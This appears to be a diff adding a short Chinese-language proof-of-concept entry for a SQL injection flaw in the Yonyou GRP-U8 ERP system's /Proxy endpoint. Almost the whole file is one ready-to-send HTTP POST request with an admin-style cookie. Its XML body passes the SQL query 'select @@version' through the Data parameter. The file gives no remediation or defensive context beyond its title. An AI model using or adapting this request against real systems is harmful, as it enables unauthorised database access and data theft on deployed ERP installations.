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+## 用友GRP-U8-Proxy存在SQL注入漏洞
+
+
+## poc
+```
+POST /Proxy HTTP/1.1
+Host: 
+Pragma: no-cache
+Cache-Control: no-cache
+DNT: 1
+Upgrade-Insecure-Requests: 1
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+Accept-Encoding: gzip, deflate
+Accept-Language: zh-CN,zh;q=0.9
+Cookie: JSESSIONID=6B57CA2AD409BF61FDD38BB1497626D2; userId=admin; rdUsrId=false; rdName=true; complex=0
+Connection: close
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 571
+
+
+cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION> <NAME>AS_DataRequest</NAME><PARAMS><PARAM> <NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM> <NAME>Data</NAME><DATA format="text">select @@version</DATA></PARAM></PARAMS> </R9FUNCTION></R9PACKET>
+```